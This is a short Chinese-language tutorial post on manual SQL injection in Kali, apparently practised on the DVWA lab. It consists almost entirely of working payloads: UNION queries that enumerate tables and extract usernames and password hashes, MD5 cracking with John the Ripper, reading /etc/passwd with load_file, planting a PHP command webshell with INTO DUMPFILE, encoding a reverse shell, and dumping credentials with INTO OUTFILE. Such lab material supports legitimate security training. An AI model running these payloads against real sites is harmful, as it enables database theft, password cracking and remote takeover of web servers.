【Kali Web渗透测试】手动漏洞挖掘——复杂语句查询&读写文件和下载数据库

1. 复杂语句查询

' union select    //闭合前面的分号,联合查询

' union select table_name,table_schema from information_schema.tables--+      // --注释符  +空格

' union select user,password from dvwa.users--+    //查询user、password列内容

' union select null, concat(user,0x3a,password) from users--+     //查询user、password列内容

john --format=raw-MD5 dvwa.txt         //密码用MD5 hash算法还原

2. 读写文件

读:' union select null, load_file('/etc/passwd')--+

写:上传webshell

' union select null, "<?php passthru($_GET['cmd']);?>" INTO DUMPFILE" /var/www/a.php" --+

php-reverse-shell.php | xxd -ps | tr -d '\n'    //或换成php反弹shell

3. 下载数据库

注意OUTFILE与DUMPFILE区别,OUTFILE将数据库数据传到指定文件,DUMPFILE将要上传的数据传到指定文件

' union select null, concat(user,0x3a,password) from users INTO OUTFILE '/tmp/a.db'--+  

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章